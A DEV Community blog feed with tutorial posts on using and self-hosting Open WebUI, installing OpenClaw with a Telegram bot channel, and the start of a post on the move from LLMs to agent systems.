DEV Community: Sebastian

Open WebUI: Chat Interface & Context Options

Sebastian — Thu, 10 Sep 2026 05:40:46 +0000

Open WebUI is one of the first tools that appeared in conjunction with Large Language Models. Initially intended as a tool for chatting with a connected local Ollama instance, it evolved to work with any OpenAI API provider and succinctly extended its features to support agentic chats.

Following the setup of Open WebUI in my previous post, this article explores its core features. Learn about conversation essentials, see how notes and knowledge bases are created, and understand the different options to provide chat context.

The technical context of this article is openwebui v0.9.6, published on 2026-06-01. The setup and configuration examples should also work with newer versions.

While I am fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbatim copies from log messages and screenshots.

This article originally appeared at my blog admantium.com.

Open WebUI Startpage

Open WebUI's start page shows organizational features in the menu list on the left side, and a chat interface to start a new conversation on the right side.

In this view, the following options can be accessed:

New Chat: Reloads the current window with a new chat on the right panel side
Search: Searches for keywords in past conversations and also allows starting a new conversation or creating a new node
Notes: Create markdown-structured files that serve as structural content for your conversations
Workspace: Create customized models with a base model, prompts, tools, and knowledge bases
Folders: Structure individual chats into topics by either clicking on a folder and starting a new chat or by dragging and dropping an existing chat into the folder
Chats: A list of past interactions
User Icon: Access additional settings specific to the user

Features related to the chat interface are explored in the next sections.

Basic Chat Features

Chatting is the core user interaction feature of Open WebUI. As it has become a de facto standard, chat bubbles from the user and model are displayed top-down, right- and left-aligned respectively. For the latest model answer, all interaction icons are shown, as well as a list of follow-up prompts.

When hovering over a user chat bubble, the following functions are shown:

Edit: Changes the content of the message but does not trigger a new answer generation from the model
Copy: Puts the message content into the computer's clipboard
Delete: Deletes this message and the immediately following LLM answer

The model answer bubble offer these features:

Edit: Opens an inline editor to modify the LLM answer and, when saved, persists this answer to the internal chat log
Copy: Copies the complete message, including its formatting, to the computer's memory
Read aloud: Starts the browser's text-to-speech integration to read the answer
Good Response & Bad Response: Rate a particular LLM answer, see below for an explanation
Continue Response: Sends the user message and the assistant message again, which can extend the original answer
Regenerate: Recreates the selected answer by passing all previous conversation context to the LLM again once completed, the new answer is shown to the user and saved in the conversation history

An interesting feature is the option to rate the answer, called "Good Response" and "Bad Response". When clicked, a dialog is opened at the top of the screen where a numerical rating and a short tag can be provided. This data is stored in your Open WebUI instance, and admin users can access analytics and evaluation dashboards that factor in these answers. Ratings are useful for a large user base and model availability, helping to determine which models are perceived as most helpful for their intended tasks. Here is a screenshot for rating an unhelpful answer.

Additionally to storing locally, you can also add a public review of this model which is published on the Open WebUI model rating page, where you can provide a review for this specific model.

Notes

Notes are named files stored internally in your Open WebUI instance.

The notes menu shows a list of browsable and searchable notes, and you can add a new note or open an existing one.

The note editor provides standard text formatting including headings, lists, tasks, bold and italic fonts, and code blocks. Note content can be recorded from an audio message, and a model can be invoked to edit the content directly. The complete note can also be exported to other formats and even a link can be generated. Here is a screenshot.

Notes can be used in chats in three different ways: a) directly in the note editor, you can start a chat with the note, b) in a chat by adding the note, c) when an advanced feature called terminal - a separate runtime in which code can be executed - is available, tool calls like search_notes or write_note can access notes dynamically.

Workspace Knowledge

Workspaces are a powerful feature that governs support for agentic usage. In the context of this article, only knowledge bases as context to chats are explored.

Follow these steps:

In the main GUI click on Workspace
In the horizontal menu area click on Knowledge and then on the button + New Knowledge
Fill in the following form then click on Create Knowledge

This results in a new screen showing a list of sources. With the + symbol, the knowledge base can be edited.

New original resources can be added with these options:

Upload files: Upload files from your computer supporting text documents PDF DOC and CSV files but not images
Upload directory: Select a local directory which triggers individual file uploads for all of its contained and supported files
Add webpage: Process the provided HTTP resource extract its text content and store it note be sure to add an address for which no HTTP redirect occurs or otherwise the redirect information will be stored instead
Add text content: This option opens an editor field into which you can paste any text information

The structure and content of the knowledge base can be altered as follows:

New directory: Create a logical node to help structure documents
Sync directory: Rescans an uploaded directory which removes any files from the knowledge base that are no longer present and adds all new or modified sources
Reset: Completely deletes all stored content from the knowledge base

When documents are added to the knowledge base, the same process is triggered: text is extracted from the sources, split into content chunks, processed by an embedding model, and stored in an internal database.

Here is a screenshot of a knowledge base that includes my blog articles about Claude Code.

Providing Chat Context

Open WebUI offers several options to provide context to your chat interactions.

Here is a screenshot where a note is already attached and additional sources can be added.

Original Documents

New information is injected into the conversation as follows:

Upload files: Supported documents are parsed and their full content attached to the next message
Capture: Opens the browser's function to make a screenshot of specific windows or the entire screen
Attach Webpage: Provide an HTTP link as a document source from which plain text information will be obtained and added to the message sent to the LLM endpoint

Two aspects should be noted:

Automatic embedding: Open WebUI automatically detects the data format determines token splitting and embedding for text processes and stores these files This results in typical log messages as shown

open-webui  | {"ts": "2026-06-21T08:16:49.769+00:00", "level": "info", "msg": "192.168.65.1:45505 - \"POST /api/v1/files/?process=true HTTP/1.1\" 200", "caller": "uvicorn.protocols.http.httptools_impl:send:483"}
open-webui  | {"ts": "2026-06-21T08:16:51.487+00:00", "level": "info", "msg": "192.168.65.1:45505 - \"GET /api/v1/files/db47a1a8-3f19-4a5c-afcd-1cdb056306c1/process/status?stream=true HTTP/1.1\" 200", "caller": "uvicorn.protocols.http.httptools_impl:send:483"}
open-webui  | {"ts": "2026-06-21T08:16:51.518+00:00", "level": "info", "msg": "Using markdown header text splitter", "caller": "open_webui.routers.retrieval:save_docs_to_vector_db:1412"}
open-webui  | {"ts": "2026-06-21T08:16:51.521+00:00", "level": "info", "msg": "generating embeddings for file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1", "caller": "open_webui.routers.retrieval:save_docs_to_vector_db:1490"}
Batches: 100%|██████████| 16/16 [00:02<00:00,  7.88it/s]
open-webui  | {"ts": "2026-06-21T08:16:53.569+00:00", "level": "info", "msg": "embeddings generated 16 for 16 items", "caller": "open_webui.routers.retrieval:save_docs_to_vector_db:1536"}
open-webui  | {"ts": "2026-06-21T08:16:53.570+00:00", "level": "info", "msg": "adding to collection file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1", "caller": "open_webui.routers.retrieval:save_docs_to_vector_db:1548"}
open-webui  | {"ts": "2026-06-21T08:16:53.840+00:00", "level": "info", "msg": "added 16 items to collection file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1", "caller": "open_webui.routers.retrieval:save_docs_to_vector_db:1554"}
open-webui  | {"ts": "2026-06-21T08:16:53.840+00:00", "level": "info", "msg": "added 1 items to collection file-db47a1a8-3f19-4a5c-afcd-1cdb056306c1", "caller": "open_webui.routers.retrieval:process_file:1730"}

Session specificity: Documents are used for one turn in the chat conversation only meaning one message to and from the LLM Later user messages cannot implicitly reference an already added document from earlier messages However Open WebUI itself can query uploaded documents and extract relevant content Here is an example log message where I uploaded a blog article and asked about its content

open-webui  | {"ts": "2026-06-21T08:34:27.873+00:00", "level": "info", "msg": "query_doc:result [['1c2776cd-b009-4d43-b20e-7f400b31269d', '08ea65ce-4c62-42f0-a897-6d2cbc0e2bd1', 'ae5f230c-ad8b-41a2-8d43-eaeedd75db99']] [[{'source': 'claude01_introduction.md', 'start_index': 2434, 'hash': '3e1955b782967e3d3ba5eed557e3c6a1de1b7c930b8267bd8ad76c122d5834c6', 'file_id': 'db47a1a8-3f19-4a5c-afcd-1cdb056306c1', 'embedding_config': \"{'engine': '', 'model': 'sentence-transformers/all-MiniLM-L6-v2'}\", 'created_by': 'b5b63a0d-ab5c-463e-ac3f-5ceacb6f3f94', 'name': 'claude01_introduction.md'}, {'embedding_config': \"{'engine': '', 'model': 'sentence-transformers/all-MiniLM-L6-v2'}\", 'created_by': 'b5b63a0d-ab5c-463e-ac3f-5ceacb6f3f94', 'source': 'claude01_introduction.md', 'start_index': 1753, 'name': 'claude01_introduction.md', 'file_id': 'db47a1a8-3f19-4a5c-afcd-1cdb056306c1', 'hash': '3e1955b782967e3d3ba5eed557e3c6a1de1b7c930b8267bd8ad76c122d5834c6'}, {'hash': '3e1955b782967e3d3ba5eed557e3c6a1de1b7c930b8267bd8ad76c122d5834c6', 'file_id': 'db47a1a8-3f19-4a5c-afcd-1cdb056306c1', 'embedding_config': \"{'engine': '', 'model': 'sentence-transformers/all-MiniLM-L6-v2'}\", 'start_index': 721, 'created_by': 'b5b63a0d-ab5c-463e-ac3f-5ceacb6f3f94', 'source': 'claude01_introduction.md', 'name': 'claude01_introduction.md'}]]", "caller": "open_webui.retrieval.utils:query_doc:285"}

Stored Documents and Knowledge Base

When adding existing information, several types of documents can be used:

Attach Files: When a user uploads any file, it will be stored in a user specific file instance and therefore can be attached again in any following chat
Attach Notes: Choose from any created note that is added as message context
Attach Knowledge: Attach the complete knowledge database from a workspace
Reference Chats: Add a complete conversation as context It includes all user messages system messages and any other added context

Conclusion

Open WebUI is one of the first tools that offered a chat interface to LLMs. This article explored its core features. You learned about, a) the start page, b) the main chat features for user and system messages, including editing, reading, regenerating and rating answers, c) how to create individual note files or d) complete document collections called knowledge bases, which can include different document types or web pages, and e) providing chat context with original documents and already uploaded document notes or knowledge bases.

LLM Agent Tools: Setup & Installation of OpenWeb UI

Sebastian — Mon, 31 Aug 2026 04:26:22 +0000

LLMs are a fascinating technology. Trained on a sufficient subset of the public internet and other curated sources, they are knowledge experts in many fields. Chat interfaces for LLMs have become a daily helper for many knowledge workers. Step by step, agent capabilities are driving the evolution of these interfaces.

In an ongoing series about agentic tools, capabilities, and technical components, the next articles focus on Open WebUI. This article is concerned with the initial setup - you will learn how to install and run a Docker container, and see how to connect with an LLM provider to start chatting.

The technical context of this article is openwebui v0.9.6, published on 2026-06-01. The setup and configuration examples should also work with newer versions.

This article originally appeared at my blog admantium.com.

Setup

Any software needs the required libraries in specific versions. To avoid cluttering one’s own system, container-based software can be used instead. Each container provides a separate environment, and it exposes its services via defined ports. Docker is the primary tool for starting containers, and it is the tool of choice for setting up agentic tools in the context of this article.

For Open WebUI, complete Docker containers for all releases are published automatically. Check the available tags, then download the required container. For v0.9.6, execute the following command:

docker pull ghcr.io/open-webui/open-webui:v0.9.6

Once the image is downloaded, it can be started with a simple follow-up command. If you want to try Open WebUI with the default config, simply run the following:

docker run -d -p 3000:8080 -v open-webui:/app/backend/data --name open-webui ghcr.io/open-webui/open-webui:v0.9.6

Then access the application at http://localhost:3000 and start configuring the admin account. While you can use the container as-is, its state will not be persisted. When the Docker daemon of your host system is restarted, all data in the container is lost. The recommended approach is to define a docker-compose.yml file, which tracks the applied configuration options and also persists the created data as a volume.

Docker Compose Configuration

Open WebUI exposes several configuration options. To keep the state persistent, it should be started with a config file to define aspects like its users and LLM configuration. It should also have a volume in which all permanent data is stored so it survives container restarts.

Create the following file structure:

.
├── docker-compose.yml
└── .open-webui.env

Use the following template for the docker-compose.yml file as a kickstart.

name: openwebui

services:
  open-webui:
    image: ghcr.io/open-webui/open-webui:v0.9.6
    container_name: open-webui
    env_file:
      - ./open-webui.env
    ports:
      - "3000:8080"
    restart: unless-stopped
    volumes:
      - open-webui-data:/app/backend/data
    networks:
      - openwebui

networks:
  openwebui:
    name: openwebui
    external: true

volumes:
  open-webui-data:
    name: open-webui-data
    driver: local

Next, add the following .open-webui.env file with a minimal configuration:

OPENWEBUI_PORT=3000

Only once, you need to run the following command:

docker network create openwebui

Then start the container with the following command:

docker compose up open-webui

It should print these log messages, indicating a successful initial setup.

docker compose up open-webui

open-webui-manual  | No WEBUI_SECRET_KEY environment variable set, loading from file.
open-webui-manual  | Generating new WEBUI_SECRET_KEY...
open-webui-manual  | Loading WEBUI_SECRET_KEY from .webui_secret_key
...
open-webui-manual  | INFO  [alembic.runtime.migration] Context impl SQLiteImpl.
open-webui-manual  | INFO  [alembic.runtime.migration] Will assume non-transactional DDL.
open-webui-manual  | INFO  [alembic.runtime.migration] Running upgrade  -> 7e5b5dc7342b
...
open-webui-manual  |
open-webui-manual  |  ██████╗ ██████╗ ███████╗███╗   ██╗    ██╗    ██╗███████╗██████╗ ██╗   ██╗██╗
open-webui-manual  | ██╔═══██╗██╔══██╗██╔════╝████╗  ██║    ██║    ██║██╔════╝██╔══██╗██║   ██║██║
open-webui-manual  | ██║   ██║██████╔╝█████╗  ██╔██╗ ██║    ██║ █╗ ██║█████╗  ██████╔╝██║   ██║██║
open-webui-manual  | ██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║    ██║███╗██║██╔══╝  ██╔══██╗██║   ██║██║
open-webui-manual  | ╚██████╔╝██║     ███████╗██║ ╚████║    ╚███╔███╔╝███████╗██████╔╝╚██████╔╝██║
open-webui-manual  |  ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝     ╚══╝╚══╝ ╚══════╝╚═════╝  ╚═════╝ ╚═╝
open-webui-manual  |
open-webui-manual  |
open-webui-manual  | v0.9.6 - building the best AI user interface.
open-webui-manual  |
open-webui-manual  | https://github.com/open-webui/open-webui
open-webui-manual  |

Two options exist for the initial onboarding; see the next two paragraphs.

Manual Onboarding

The first step is to create an admin account. Access the application at http://localhost:3000 and fill out the shown fields.

Once completed, you will see the initial welcome message and a popup showing current version information. While manual onboarding is an option, the better approach is to extend the .open-webui.env file so that the admin account and other settings are controlled and persisted between container restarts. This is explained in the next section.

Onboarding with Config File

Alternatively to the dialog-based setup, settings about the admin user and additional variables to influence privacy and telemetry can be configured. The list of supported variables is extensive; see the official documentation for all options.

What you should also persist is the WEBUI_SECRET_KEY. Its value is used to encrypt JWT access tokens and stored secrets. As shown in the container start logs, its value is dynamically created. Therefore, restarting the container invalidates current sessions and also makes encrypted data obsolete. Check the file content of /app/backend/.webui_secret_key, and add it too.

Here is the extended .open-webui.env with all options.

# Port, persistence, logging
WEBUI_URL=http://localhost:8080
ENABLE_PERSISTENT_CONFIG=True
GLOBAL_LOG_LEVEL=INFO
LOG_FORMAT=json
WEBUI_SECRET_KEY=REDACTED

# Only allow one pre-configured admin user
WEBUI_ADMIN_NAME=Admin
WEBUI_ADMIN_EMAIL=REDACTED
WEBUI_ADMIN_PASSWORD=REDACTED
ENABLE_SIGNUP=False
ENABLE_LOGIN_FORM=True
ENABLE_PASSWORD_AUTH=True
ENABLE_PASSWORD_CHANGE_FORM=True

# Better privacy
ENABLE_ADMIN_ANALYTICS=False
ENABLE_PUBLIC_ACTIVE_USERS_COUNT=False
ENABLE_USER_STATUS=False
ENABLE_EASTER_EGGS=False
ENABLE_OTEL_LOGS=False

Now restart the container once, and from then on all settings persist.

docker compose restart open-webui

A warning: all of these variables, and additional changes in the GUI, are persisted. To reset, for example, the login values, stop the container, set ENABLE_PERSISTENT_CONFIG=True, then restart it. If there is a further problem, you can also set RESET_CONFIG_ON_START=true to delete the database, or take the final option to completely delete the Docker container and the volume.

Model Configuration

To use Open WebUI for its intended purpose, you need to add an LLM provider endpoint. Essentially, any endpoint that supports the OpenAI API format can be used. Besides OpenAI itself, you can choose from any direct provider, OpenRouter, or even GitHub Copilot with an additional proxy server.

For brevity, let's invoke the ChatGPT API directly.

First, create an OpenAI API key as follows:

Log in to the OpenAI service
Go to the API key page
Click the “+ Create New Secret Key” button, provide a name, and copy the key from the popup

Second, configure the endpoint in Open WebUI:

Access the Open WebUI dashboard
Click on the admin user icon in the bottom-left corner, and then click “Admin Panel”
In the horizontal tab bar, click “Settings,” then “Connections”
Disable all toggles from the bottom up
Enable the “OpenAI API” toggle
Click the “+” symbol next to “Manage OpenAI API Connections”

Now, the following dialogue should appear.

For the API endpoint URL, enter https://api.openai.com/v1
Enter your created API key
Click on the double-arrow icon to validate the connection; a green popup appears to show success

Finally, you can start a new chat from the dashboard.

Conclusion

Many tools exist for ongoing, contextual conversations with an LLM. Open WebUI is one of the earliest tools to support contextual conversations with LLMs. Since its inception in October 2023, many features were added. In this article, you learned how to set up and configure the tool as a Docker container with defined, persisted config. You saw the relevant docker-compose.yml and .env file, learned about the nuances of onboarding, the consequences of not persisting the central encryption key, and how to configure an LLM provider. The next article continues the feature exploration.

Complete OpenClaw Installation Guide with Telegram Communication Channel

Sebastian — Thu, 20 Aug 2026 05:12:57 +0000

In 2026, agentic AI tools and frameworks generated much interest from technical and non-technical users alike. On the forefront of all of these tools is OpenClaw, the most popular open-source project that catapulted agents into mainstream usage.

This article covers the complete installation steps and setup. You will learn how to install OpenClaw on your local computer, set up Telegram as the communication channel, and perform essential security hardening.

The technical context of this article is OpenClaw v2026.6.11 released 2026-06-30. All provided information and command examples should be valid with newer versions too, barring an update of the CLI commands' syntax. However, configuration details differ between OpenClaw versions, and therefore, you should check the most recent documentation guidelines as well.

While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.

This article originally appeared at my blog admantium.com.

Prerequisites

To install and run OpenClaw, you need a computer with either Linux or Windows, and the NodeJS library installed. This opens the option to use a spare laptop or computer, a dedicated VPS like several other installation guides explain, or even just a local Raspberry Pi. The only crucial requirements are available CPU and RAM: 2GB RAM and 2 CPUs are the minimal requirements, and 4GB RAM and 4 vCPUs are sufficient for an installation that produces a medium or high system load.

Platform	Minimum	Recommended	Notes
Raspberry Pi	Raspberry Pi 3+	Raspberry Pi 4+	32-bit OS supported
Linux x64	Ubuntu 20.04+	Ubuntu 22.04+	Debian/Ubuntu derivatives
Cloud VPS	2GB RAM, 2 vCPU	4GB RAM, 4 vCPU	AWS EC2, DigitalOcean, etc.

As for the software, only NodeJS is strictly required. If you want to use Docker for the hosting environment, you need to ensure that a proper version is installed as well.

Libraries	Minimum	Recommended
NodeJS	v22.19	v24
Docker	v20.10+	v24.0+

Installation

OpenClaw can be installed in three ways: As a Docker container that includes all dependencies, as a bash script that checks and installs missing dependencies, or just by adding the NPM packages.

In a freshly installed, current Linux distribution, adding the NPM package is sufficient. Simply run the following command.

npm i -g openclaw@2026.6.11

Installation can take up to several minutes. Once completed, a unified OpenClaw process starts which creates both a gateway process and the dashboard.

An essential command with which to verify the installation, and to identify any issues, is openclaw doctor. Run it once to ensure the installation succeeded, but stop before making any configuration.

openclaw doctor


🦞 OpenClaw 2026.6.11 (4dcc39c) — Making 'I'll automate that later' happen now.


▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
██░▄▄▄░██░▄▄░██░▄▄▄██░▀██░██░▄▄▀██░████░▄▄▀██░███░██
██░███░██░▀▀░██░▄▄▄██░█░█░██░█████░████░▀▀░██░█░█░██
██░▀▀▀░██░█████░▀▀▀██░██▄░██░▀▀▄██░▀▀░█░██░██▄▀▄▀▄██
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
                  🦞 OPENCLAW 🦞


┌  OpenClaw doctor
│
◇  Startup optimization ─────────────────────────────────────────────────────────────────────╮
│                                                                                            │
│  - NODE_COMPILE_CACHE is not set; repeated CLI runs can be slower on small hosts (Pi/VM).  │
│  - OPENCLAW_NO_RESPAWN is not set to 1; set it to avoid extra startup overhead from        │
│    self-respawn.                                                                           │
│  - Suggested env for low-power hosts:                                                      │
│    export NODE_COMPILE_CACHE=/var/tmp/openclaw-compile-cache                               │
│    mkdir -p /var/tmp/openclaw-compile-cache                                                │
│    export OPENCLAW_NO_RESPAWN=1                                                            │
│                                                                                            │
├────────────────────────────────────────────────────────────────────────────────────────────╯
│
◇  Gateway ──────────────────────────────────────────────────────────╮
│                                                                    │
│  gateway.mode is unset; gateway start will be blocked.             │
│  Fix: run openclaw configure and set Gateway mode (local/remote).  │
│  Or set directly: openclaw config set gateway.mode local           │
│  Missing config: run openclaw setup first.                         │
│                                                                    │
├────────────────────────────────────────────────────────────────────╯
│
◇  Gateway auth ──────────────────────────────────────────────────────────────────────╮
│                                                                                     │
│  Gateway auth is off or missing a token. Token auth is now the recommended default  │
│  (including loopback).                                                              │
│                                                                                     │
├─────────────────────────────────────────────────────────────────────────────────────╯
│
■  Generate and configure a gateway token now?
...

Setup

The configuration complexity of OpenClaw seems daunting, but all available options are streamlined during the initial onboarding process. I recommend starting the installation with the interactive onboarding wizard, and tweaking individual settings after this initial setup.

Start the process with the following command:

openclaw onboard --install-daemon


🦞 OpenClaw 2026.6.11 (4dcc39c) — I've read more man pages than any human should—so you don't have to.


▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
██░▄▄▄░██░▄▄░██░▄▄▄██░▀██░██░▄▄▀██░████░▄▄▀██░███░██
██░███░██░▀▀░██░▄▄▄██░█░█░██░█████░████░▀▀░██░█░█░██
██░▀▀▀░██░█████░▀▀▀██░██▄░██░▀▀▄██░▀▀░█░██░██▄▀▄▀▄██
▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
                  🦞 OPENCLAW 🦞


┌  OpenClaw setup

This ongoing setup dialog will guide you through different installation phases. The following list divides the setup decisions, and shows the corresponding dialog prompt printed in the terminal.

Security Warning

◆  I understand this is personal-by-default and shared/multi-user use requires lock-down. Continue?
│  ● Yes / ○ No

A disclaimer about the project's nature, mentioning risks and concerns, and listing guidelines for a safe initial configuration. You need to answer with Yes in order to continue.

Setup Mode

◆  Setup mode
│  ● QuickStart (Configure details later via openclaw configure.)
│  ○ Manual

The Manual setup mode is intended for configuring OpenClaw on a public internet host, detailing network stack configurations including URL and port. Continue with the preselected QuickStart for an instance that runs locally.

Model Configuration

◆  Model/auth provider
│  ● Alibaba Cloud Model Studio (Coding Plan API key (CN / Global))
│  ○ Anthropic
│  ○ BytePlus
│  ○ Chutes

OpenClaw needs at least one LLM provider for processing inputs. The list is quite extensive, enabling free selection from more than 30 providers. It includes well-known options such as OpenAI, Anthropic, DeepSeek, or Minimax, API gateways like LiteLLM, and multi-provider aggregators like OpenRouter.

Channel Configuration

Select channel (QuickStart)
│  ● Telegram (Bot API) (recommended · newcomer-friendly)
│  ○ WhatsApp (QR link)
│  ○ Discord (Bot API)

An OpenClaw installation exposes a dashboard with many features, one being a chat interface. However, the true appeal of OpenClaw is its compatibility with different communication channels: messengers like WhatsApp and Signal, collaboration tools like Slack and Discord, and integrations with ecosystems like Mattermost or Nextcloud.

Search provider

Search provider
│  ○ Brave Search
│  ● DuckDuckGo Search (experimental) (Free web search fallback with no API key required · key-free)
│  ○ Exa Search

OpenClaw agents frequently perform web searches to fetch accurate and up-to-date information. Technically, search results should be provided in a non-HTML format, for example JSON. This structure can be obtained from search providers, which require a dedicated, paid account. The alternative is to use a headless Brave browser, which works, but can run into bot-detection challenges.

Skills

Skills status ─────────────╮
│                             │
│  Eligible: 3                │
│  Missing requirements: 40   │
│  Unsupported on this OS: 7  │
│  Blocked by allowlist: 0    │
│                             │
├─────────────────────────────╯
│
◆  Configure skills now? (recommended)
│  ● Yes / ○ No
│
Install missing skill dependencies
│  ◻ Skip for now (Continue without installing dependencies)
│  ◻ 🔐 1password
│  ◻ 📰 blogwatcher
│  ◻ 🫐 blucli
│  ◻ 📸 camsnap
│  ◻ 🧩 clawhub
│  ◻ 🛌 eightctl

Skills extend the capabilities of your OpenClaw agents. Much of the perceived user value stems from sophisticated skill definitions that are included and activated by default. This includes interfacing natively with apps installed on the computer, accessing internet services from Google, BlueSky, or Obsidian, and much more. And of course, you can further extend the skills once the initial setup is completed.

Hooks

 Hooks ──────────────────────────────────────────────────────────────────╮
│                                                                          │
│  Hooks let you automate actions when agent commands are issued.          │
│  Example: Save session context to memory when you issue /new or /reset.  │
│                                                                          │
│  Learn more: https://docs.openclaw.ai/automation/hooks                   │
│                                                                          │
├──────────────────────────────────────────────────────────────────────────╯
│
◆  Enable hooks?
│  ◻ Skip for now
│  ◻ 🚀 boot-md
│  ◻ 📎 bootstrap-extra-files
│  ◻ 📝 command-logger
│  ◻ 💾 session-memory

When using an OpenClaw agent, the invocation traverses typical lifecycle phases from initialization, tool access, execution, and answer generation. During these phases, hooks can be executed, with the goal of extending or tweaking the default behavior. A common option is to activate an additional prompt during initialization, which can be achieved with the boot-md hook.

Technical Setup

◇  Systemd ───────────────────────────────────────────────────────────────────────────────╮
│                                                                                         │
│  Systemd user services are unavailable. Skipping lingering checks and service install.  │
│                                                                                         │
├─────────────────────────────────────────────────────────────────────────────────────────╯


...


◇  Gateway service ─────────────────────────────────────────────────────────────────────╮
│                                                                                       │
│  Systemd user services are unavailable; skipping service install. Use your container  │
│  supervisor or `docker compose up -d`.                                                │
│                                                                                       │
├───────────────────────────────────────────────────────────────────────────────────────╯
│


...


◇  Control UI ───────────────────────────────────────────────────────────────────────────────╮
│                                                                                            │
│  Web UI: <http://127.0.0.1:18789/>                                                        │
│  Web UI (with token):                                                                     │
│  <http://127.0.0.1:18789/#token=faf2ffc95ec703f656941f8d601e9d8db166e808765abfb7>        │
│  Gateway WS: ws://127.0.0.1:18789                                                         │
│  Gateway: not detected (gateway closed (1006 abnormal closure (no close frame)): no close │
│  reason)                                                                                  │
│  Docs: <https://docs.openclaw.ai/web/control-ui>                                          │
│                                                                                            │
├────────────────────────────────────────────────────────────────────────────────────────────╯


...



◇  Security ──────────────────────────────────────────────────────╮
│                                                                 │
│  Running agents on your computer is risky — harden your setup:  │
│  <https://docs.openclaw.ai/security>                            │
│                                                                 │
├─────────────────────────────────────────────────────────────────╯


...


└  Onboarding complete. Use the dashboard link above to control OpenClaw.

In this non-interactive phase, the OpenClaw installation sets up a systemd service, starts it, performs a health check, prints access information, and other data.

This concludes the onboarding, and you can now access the OpenClaw dashboard. To see the required dashboard URL, run the command openclaw dashboard --no-open; it prints a URL string with the required token embedding.

Telegram Integration Setup

One of OpenClaw's strengths is its capability to be accessible from many different channels. Integration with the Telegram messenger provides an always-enabled connection for communication with your OpenClaw instance and for receiving messages that result from asynchronous tasks, for example cron jobs.

Telegram setup follows these steps.

Create a New Telegram Bot

A bot is a system user configured in Telegram, with a unique ID. It can be created through the Telegram chat interface itself. Follow these steps:

Open a message to @BotFather
Enter the /newbot command.
Provide a bot name, which is the unique ID with which to access the bot. You can use acronyms and cryptic letter/number combinations to prevent accidental access from other Telegram users.
Configure the Bot Username, which is the account name to which you refer in OpenClaw. Use mnemonics or generic names to identify the bot, such as "Researcher".

When the bot is configured, a 46-character bot token is printed in Telegram. This access token needs to be configured in the OpenClaw instance to enable access. You can manually edit the openclaw.json configuration file, or use openclaw onboard again and only change the channel configuration. The CLI dialogue is as follows:

Telegram bot token ────────────────────────────────────╮
│                                                         │
│  1) Open Telegram and chat with @BotFather              │
│  2) Run /newbot (or /mybots)                            │
│  3) Copy the token (looks like 123456:ABC...)           │
│  Tip: you can also set TELEGRAM_BOT_TOKEN in your env.  │
│  Docs: <https://docs.openclaw.ai/telegram>              │
│  Website: <https://openclaw.ai>                         │
│                                                         │
├─────────────────────────────────────────────────────────╯
│
◇  How do you want to provide this Telegram bot token?
│  Enter Telegram bot token
│
◆  Enter Telegram bot token

The final step is to allow the OpenClaw instance to communicate with the bot. This process, called pairing, is started by sending a new message to the bot via Telegram. This will create a short, 5-character access token. And this token needs to be confirmed in your OpenClaw instance.

On your instance, run the following commands, and insert this token.

openclaw pairing list telegram
openclaw pairing approve telegram $TOKEN

Now you can send a message to your bot and your instance should answer. If not, please check the troubleshooting hints in the next section.

Telegram Troubleshooting

A typical error case is that the bot is not answering at all. In my personal experience, this often can be boiled down to a typo in the bot token. You can check this by sending the token to a Telegram status API endpoint. In the following example, replace "${TOKEN}" with the 46-character token.

curl -s "https://api.telegram.org/bot${TOKEN}/getMe"

If the token is not correct, you will receive a JSON document with the following content.

{
  "ok": false,
  "error_code": 401,
  "description": "Unauthorized"
}

... while a correct token creates this:

{
  "ok": true,
  "result": {
    "id": "REDACTED",
    "is_bot": true,
    "first_name": "claw",
    "username": "REDACTED",
    "can_join_groups": true,
    "can_read_all_group_messages": false,
    "supports_inline_queries": false,
    "can_connect_to_business": false,
    "has_main_web_app": false,
    "has_topics_enabled": false,
    "allows_users_to_create_topics": false
  }
}

When the bot token is correct, but the error persists, a network error in the Telegram-to-OpenClaw instance communication is likely. Run the following command:

openclaw channels status --probe


Gateway reachable.

- Telegram default: enabled, configured, running, mode:polling, bot:@REDACTED, token:config, works

If this shows a specific error message, access the OpenClaw documentation for further information, and hopefully your access problem can be resolved.

Conclusion and Next Steps

OpenClaw is an agentic tool which provides both full access to a computer and abundant skills to interface with external systems. It is the premier tool that catapulted the capabilities of LLM agents to the public. In this article, you learned how to install OpenClaw from scratch. Installation is simple; a mere NPM package on a current Linux distribution is sufficient. Onboarding is an interactive dialogue, which guides you through model, channel, search provider, skills, and hooks. Telegram channel configuration involves bot creation, bot token configuration, and pairing. With the installation completed, you can start exploring the many use cases that OpenClaw offers.

From Large Language Models to AI Agent Systems

Sebastian — Mon, 10 Aug 2026 04:59:21 +0000

In 2024, the first capable Large Language Models emerged. Self-hosted Ollama with local model inference was one pattern, and using commercial vendors and models like OpenAI's GPT or Anthropic's Sonnet models. Several open-source projects started to create AI assistants, targeting working autonomously on tasks ranging from research to productivity and coding.

In my blog article series about LLMs, I wrote Universal Personal Assistant with LLMs as the last entry in December 2024. I had the goal to investigate agent systems like AutoGen, CrewAI, and AgentZero. But using these frameworks showed severe limitations: Tool calls did not function reliably, and a human operator needed to constantly shepherd the LLM invocation to stay on track. I did not write a single article following this experience.

